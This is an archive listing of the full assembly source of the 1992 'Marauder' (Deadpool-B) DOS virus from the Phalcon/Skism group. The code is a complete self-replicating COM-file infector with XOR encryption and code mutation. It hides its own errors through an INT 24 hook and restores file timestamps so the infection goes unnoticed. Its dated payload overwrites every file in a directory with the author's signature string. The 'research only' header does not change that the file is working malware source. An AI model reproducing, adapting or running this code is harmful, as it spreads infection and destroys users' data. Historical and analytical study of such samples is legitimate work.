home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MARAUDER.ASM < prev    next >
Assembly Source File  |  1992-06-28  |  19KB  |  611 lines

  1. ; "Marauder" Virus
  2. ; AKA Deadpool-B
  3. ;
  4. ; By Hellraiser
  5. ; Of Phalcon/Skism
  6. ;
  7. ; For virus reseach only
  8. ;
  9. ; I always wanted to release this source, so here it is.  Now that it's been caught
  10. ; take a look at whats inside.
  11. ;
  12. ; I know it's no great thing, but it's good to learn from.  It contains basic 
  13. ; encryption, mutation, and INT 24 handling.
  14. ;
  15. ; I will be very upset if I see 100 new versions of this code with some lame kids 
  16. ; name in place of mine.  So just use it to learn from, it's very straight foward.
  17.  
  18.  
  19.  
  20. code          segment 'code'
  21. assume        cs:code, ds:code, ss:code, es:code
  22. org           0100h
  23.  
  24. dta           EQU     endcode + 10
  25. headlength    EQU     headend - headstart
  26. bodylength    EQU     bodyend - bodystart
  27. encryptpart   EQU     bodyend - mixed_up
  28. part1size     EQU     part2 - part1
  29. part2size     EQU     parta - part2
  30. partasize     EQU     partb - parta
  31. partbsize     EQU     dude - partb
  32. mutants       EQU     chris - part1
  33. total_mutant  EQU     mutants / 2
  34. encryptlength EQU     encryptpart / 2
  35. virus_size    EQU     headlength + bodylength + 5 ; head + body + int24 + 2
  36. drive         EQU     endcode + 110
  37. backslash     EQU     endcode + 111
  38. orig_path     EQU     endcode + 113
  39. dirdta        EQU     orig_path + 66
  40. myid          EQU     88h
  41. toolarge      EQU     65535 - virus_size
  42. fileattr      EQU     21
  43. filetime      EQU     22
  44. filedate      EQU     24
  45. filename      EQU     30
  46.  
  47. headstart:
  48.  
  49.               jmp    bodystart
  50.               db     myid
  51. headend:
  52.  
  53. realprogramstart:
  54.               db     90h, 90h, 90h               
  55.               db     0cdh, 020h, 1ah, 1ah      
  56. realprogramend:
  57.  
  58. bodystart:
  59.               call    deadpool
  60. deadpool:
  61.               pop     si                         
  62.               sub     si,offset deadpool        
  63.               call    encrypt
  64.               jmp     chris
  65.  
  66. enc_code      dw      0000h                     
  67.  
  68. encrypt       proc    near
  69. assume        cs:code, ds:code, es:code, ss:code
  70.  
  71. part1_:
  72.               push    ax                       
  73.               push    bx                        
  74.               push    cx                        
  75.               push    dx                       
  76.               mov     cx, encryptlength         
  77.               mov     bp, si                    
  78.               add     si, offset bodyend        
  79.               mov     di,si                      
  80.               std                            
  81. xor_loop:
  82.               lodsw                             
  83.               xor     ax, [bp + enc_code]        
  84.               stosw                              
  85.               loop    xor_loop
  86. done_:
  87.               mov     si, bp                   
  88.               pop     dx                        
  89.               pop     cx                        
  90.               pop     bx                         
  91.               pop     ax                         
  92.  
  93.               ret
  94.              ;nop
  95.  
  96. encrypt       endp
  97.  
  98.  
  99. infect        proc    near
  100.  
  101.               call    encrypt                   
  102.               int     21h                     
  103.               call    encrypt                   
  104.               ret
  105.  
  106. infect        endp
  107.  
  108.  
  109. mixed_up:
  110.  
  111.  
  112.  
  113. part1:
  114.               push    dx
  115.               push    cx
  116.               push    bx
  117.               push    ax
  118.               mov     cx, encryptlength
  119.               mov     bp, si
  120.               add     si, offset mixed_up
  121.               mov     di,si
  122.               cld
  123.  
  124. part2:
  125.               mov     si, bp
  126.               pop     ax
  127.               pop     bx
  128.               pop     cx
  129.               pop     dx
  130.  
  131.  
  132.  
  133. parta:
  134.               mov     bp, si
  135.               add     si, offset endcode
  136.               mov     di, si
  137.               push    ax
  138.               push    bx
  139.               push    cx
  140.               push    dx
  141.               mov     cx, encryptlength
  142.               std
  143.  
  144. partb:
  145.               pop     dx
  146.               pop     cx
  147.               pop     bx
  148.               pop     ax
  149.               mov     si, bp
  150.  
  151.  
  152. dude:
  153.  
  154. ; don't get any ideas lamer
  155.  
  156. hellraiser    label   byte
  157. idbuffer      db      0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. '
  158. stringsize    EQU     ($ - hellraiser)
  159.  
  160. chris:
  161.  
  162.               push    es
  163.               mov     ax,3524h                 
  164.               int     21h                       
  165.               mov     [si + word ptr oint24], bx
  166.               mov     [si + word ptr oint24 + 2], es
  167.               pop     es
  168.  
  169.               mov     ax, 2524h                 
  170.               lea     dx, [si + newint24] 
  171.               int     21h                       
  172.  
  173.               push    si                       
  174.               mov     ah, 47h                    
  175.               xor     dl,dl                     
  176.               add     si, offset orig_path      
  177.               int     21h                      
  178.  
  179.               pop     si                         
  180.               mov     ah,19h                    
  181.               int     21h                       
  182.  
  183.               add     al, 41h                   
  184.               mov     byte ptr [si + offset drive], al
  185.  
  186.               mov     ax, '\:'                 
  187.               mov     word ptr [si + offset backslash], ax
  188.  
  189.               ;mov     byte ptr [si + offset defaultdrive], al 
  190.  
  191.  
  192. ; here's my new tri-dimensional jmp displacement theory in play
  193.  
  194.               push    si                        
  195.               pop     bp                       
  196.  
  197.               lea     si, [bp + offset oldjmp]   
  198.               lea     di, [bp + offset thisjmp]
  199.               mov     cx,04h                    
  200.               cld                                
  201.               rep     movsb                   
  202.  
  203.               push    bp                        
  204.               pop     si                       
  205. why:
  206.  
  207.               mov     ah,1ah                    
  208.               lea     dx,[si + dta]            
  209.               int     21h                     
  210.  
  211.               mov     ah,2ah                  
  212.               int     21h                      
  213.  
  214.               cmp     dx, 0202h                  
  215.               jne     ff                        
  216.               jmp     smash                      
  217.  
  218. ff:
  219.               mov     ah,4eh                  
  220.               lea     dx,[si + filespec]         
  221.               mov     cx, 07h                    
  222.  
  223. searchloop:
  224.  
  225.               int     21h                        
  226.               jnc     here                      
  227.               ;jmp    up
  228.  
  229.  
  230.  
  231.               mov      ah,1ah
  232.               lea      dx,[si + dirdta]         
  233.               int      21h                       
  234.  
  235.               mov      ah,3bh                    
  236.               lea      dx,[si + offset rootdir]  
  237.               int      21h                       
  238.               jc       at_root                   
  239.               jmp      why                       
  240.  
  241. at_root:
  242.               cmp      byte ptr [si + donebefore], 01h
  243.               je       notokey                  
  244.                                                 
  245.               mov      al,01h                   
  246.               mov      [si + donebefore], al     
  247.  
  248.               mov      ah,4eh                  
  249.               xor      cx,cx                     
  250.               mov      cl,13h                   
  251.                                                  
  252.  
  253.               lea      dx, [si + dwildcards]     
  254. ffdloop:
  255.  
  256.               int      21h                       
  257.               jnc      okey                     
  258.               jmp      far ptr nofilesfound     
  259.  
  260. notokey:
  261.               mov      ah,4fh                    
  262.               jmp      ffdloop                   
  263.  
  264. okey:
  265.               mov      ah,3bh                     
  266.               lea      dx, [si + offset dirdta + filename]
  267.               int      21h                       
  268.               jc       notokey                  
  269.               jmp      why                        
  270.  
  271.  
  272. here:
  273.  
  274.               mov     bx, word ptr [si + offset dta + fileattr]
  275.               mov     word ptr [si + origattr], bx
  276.  
  277.               mov     ax,4301h                   
  278.               xor     cx,cx
  279.               lea     dx, [si + offset dta + filename]
  280.               int     21h
  281.               jc      bad_file2
  282.  
  283.               call    openfile
  284.               jc      bad_file2                  
  285.  
  286.               mov     word ptr [si + offset handle], ax
  287.  
  288.               mov     bx, word ptr [si + offset dta + filedate]
  289.               mov     word ptr [si + origdate], bx
  290.               mov     bx, word ptr [si + offset dta + filetime]
  291.               mov     word ptr [si + origtime], bx
  292.  
  293.               xchg    bx, ax                     
  294.  
  295.               mov     ah, 3fh                   
  296.               mov     cx, 4
  297.               lea     dx, [si + oldjmp]         
  298.               int     21h                        
  299.  
  300.               cmp     byte ptr [si + offset oldjmp + 3], myid
  301.               jne     sick_of_it_all             
  302.               
  303. bad_file:
  304.               mov     ax,4301h                   
  305.               mov     cx, word ptr [si + offset origattr]
  306.               lea     dx, [si + offset dta + filename]
  307.               xor     ch,ch
  308.               int     21h
  309.  
  310.               mov     ah,3eh                    
  311.               int     21h                       
  312.  
  313. bad_file2:
  314.               cmp     ax, 05h                   
  315.               je      dumb                       
  316.               cmp     ax, 02h                    
  317.               je      dumb                      
  318.               mov     ah, 4fh                    
  319.               jmp     searchloop                
  320. dumb:
  321.               jmp     nofilesfound             
  322.  
  323. sick_of_it_all:
  324.  
  325.               cmp     word ptr [si + offset oldjmp], 5a4dh  
  326.               je      bad_file                 
  327.  
  328.               call    seekeof
  329.  
  330.               cmp     ax,0010h                  
  331.               jb      bad_file                   
  332.               cmp     ax, toolarge             
  333.               jae     bad_file                   
  334.  
  335.  
  336.               sub     ax,03h                     
  337.               mov     [si + newjmp + 2], ah  
  338.               mov     [si + newjmp+ 1], al       
  339.               mov     [si + newjmp + 3], myid    
  340.               mov     ah, 0e9h                  
  341.               mov     [si + newjmp], ah          
  342.  
  343.               xor     al,al                    
  344.               mov     [si + donebefore], al     
  345.  
  346.               inc     word ptr [si + generation] 
  347.  
  348.               mov      bp, si                    
  349.               call     enc_enc                   
  350.  
  351. tryagain:
  352.               mov      ah,2ch                  
  353.               int      21h                       
  354.               cmp      dx, 0000h               
  355.               je       tryagain                 
  356.               mov      word ptr [si + offset enc_code], dx
  357.                                                 
  358.  
  359.               mov     cl, 8                      
  360.               ror     dx, cl                     
  361.               mov     word  ptr [si + offset mutantcode], dx
  362.  
  363.               cmp     dl, 30                    
  364.               jng     encrypt_a                
  365.               jmp     encrypt_b                  
  366.  
  367.  
  368. encrypt_a:
  369.              ;mov     bp, si                    
  370.  
  371.               lea     si,[bp + offset part1]     
  372.               lea     di,[bp + offset part1_]   
  373.               mov     cx, part1size             
  374.               call    dostring                 
  375.               lea     si,[bp + offset part2]     
  376.               lea     di,[bp + offset done_]     
  377.  
  378.               mov     cx, part2size              
  379.               call    dostring
  380.  
  381.               jmp     attach                    
  382.  
  383. encrypt_b:
  384.  
  385.               lea     si,[bp + offset parta]     
  386.               lea     di,[bp + offset part1_]   
  387.               mov     cx, part1size            
  388.               call    dostring                   
  389.  
  390.               lea     si,[bp + offset partb]     
  391.               lea     di,[bp + offset done_]     
  392.               mov     cx, part2size              
  393.               call    dostring                  
  394.  
  395. attach:
  396.               call    enc_enc                   
  397.  
  398.               mov     si,bp
  399.               mov     ah,40h                    
  400.               mov     cx, bodyend - bodystart    
  401.               add     cx, 5
  402.               lea     dx,[si + bodystart]        
  403.               call    infect                     
  404.               jc      close_file               
  405.                                                  
  406.  
  407.               call    seektof
  408.  
  409.               mov     ah,40h                     
  410.               mov     cx, 4                      
  411.               lea     dx,[si + offset newjmp]    
  412.               int     21h                        
  413.  
  414. close_file:
  415.  
  416.               
  417.               mov     ax,5701h                   
  418.               mov     cx, word ptr [si + offset origtime]
  419.               mov     dx, word ptr [si + offset origdate]
  420.               mov     bx, word ptr [si + offset handle]
  421.               int     21h
  422.  
  423.               mov     ah, 3eh                   
  424.               int     21h
  425.  
  426.               mov     ax,4301h                  
  427.               mov     cx, word ptr [si + offset origattr]
  428.               lea     dx, [si + offset dta + filename]
  429.               xor     ch,ch
  430.               int     21h
  431.  
  432.  
  433. nofilesfound:
  434.  
  435.               mov     ah, 03bh                   
  436.               lea     dx, [si + offset drive]    
  437.               int     21h                       
  438.  
  439. restoredta:
  440.               mov     ah, 1ah                    
  441.               mov     dx, 080h                  
  442.               int     21h
  443.  
  444.               push    si                        
  445.               pop     bp                        
  446.  
  447.               mov     ax, 2524h                  
  448.               lea     dx, [si + oint24]         
  449.               int     21h                       
  450.  
  451.               lea     si,[bp + offset thisjmp]   
  452.               mov     di,100h                   
  453.  
  454.               mov     cx,04h                     
  455.               cld                               
  456.               rep     movsb                    
  457.  
  458.               mov     di, 0100h                  
  459.               jmp     di                         
  460.  
  461. smash         proc    near
  462.  
  463.               call    enc_enc                    
  464.               mov     ah, 4eh                    
  465.               mov     cx, 07h                   
  466.               lea     dx, [si + offset dwildcards] ;
  467.  
  468. r_loop:
  469.               int     21h                       
  470.               jc      restoredta                 
  471.  
  472.               call    kill                      
  473.  
  474.               mov     ah, 4fh                 
  475.               jmp     r_loop
  476.  
  477. smash         endp
  478.  
  479. dostring      proc    near
  480.  
  481.               cld                                
  482.               rep     movsb                     
  483.               ret                              
  484.  
  485. dostring      endp
  486.  
  487.  
  488. enc_enc       proc    near
  489.  
  490.               mov     si, bp                     
  491.               add     si, offset part1           
  492.               mov     di, si                   
  493.               mov     cx, total_mutant          
  494.  
  495. loop_xor:
  496.               lodsw                              
  497.               xor     ax, [bp + mutantcode] ;
  498.               stosw                              
  499.               loop    loop_xor
  500.  
  501.               mov     si, bp
  502.               ret
  503.  
  504. enc_enc       endp
  505.  
  506. seektof       proc    near
  507.  
  508.               mov     ax,4200h
  509.               xor     cx,cx                    
  510.               xor     dx,dx                  
  511.               int     21h                       
  512.  
  513.               ret
  514.  
  515. seektof       endp
  516.  
  517.  
  518. seekeof       proc    near
  519.  
  520.               mov    ax,4202h                  
  521.               xor    dx,dx
  522.               xor    cx,cx
  523.               int    21h
  524.  
  525.               ret
  526.  
  527. seekeof       endp
  528.  
  529.  
  530. openfile      proc    near
  531.  
  532.               mov    ax,3d02h                    
  533.               lea    dx, [si + offset dta + filename]
  534.               int    21h                         
  535.  
  536.               ret
  537.  
  538. openfile      endp
  539.  
  540. kill          proc   near
  541.  
  542.               call   openfile                    
  543.               jc     return
  544.               mov    bx, ax                       
  545.  
  546.               push   bx                           
  547.  
  548.               call   seekeof                      
  549.  
  550.               mov    bx, stringsize             
  551.               div    bx                           
  552.               mov    cx, ax                    
  553.               pop    bx                          
  554.               push   cx                           
  555.  
  556.               call   seektof                     
  557.               pop    cx
  558.  
  559.  
  560. loop_:
  561.               push   cx                           
  562.               mov    ah, 40h                      
  563.               mov    cx, stringsize               
  564.               lea    dx, [si + offset idbuffer]  
  565.               int    21h
  566.               jc     ender
  567.               pop    cx
  568.               dec    cx
  569.               jcxz   ender
  570.               jmp    loop_
  571. ender:
  572.  
  573.               mov    ah, 3eh                     
  574.               int    21h                       
  575.  
  576. return:
  577.               ret
  578.  
  579. kill          endp
  580.  
  581.  
  582. filespec      db      '*.COM',0                  
  583. dwildcards    db      '*.*',0                  
  584. rootdir       db      '..',0                     
  585. generation    dw      0000                       
  586. origdate      dw      ?                         
  587. origtime      dw      ?                          
  588. origattr      db      ?                          
  589. handle        dw      ?                          
  590. defaultdrive  db      ?                          
  591. oldjmp        db      09h, 0cdh, 020h, 90h       
  592. thisjmp       db      4 dup (?)                  
  593. newjmp        db      4 dup (?)                  
  594. mutantcode    dw      0000                       
  595. donebefore    db      00                         
  596. oint24        dd      00                         
  597.  
  598. bodyend:
  599.  
  600. ; not encrypted
  601.  
  602. newint24:
  603.               xor     al,al                     
  604.               iret                               
  605. endcode:
  606.  
  607. code          ends
  608.               end    headstart
  609.  
  610.  
  611.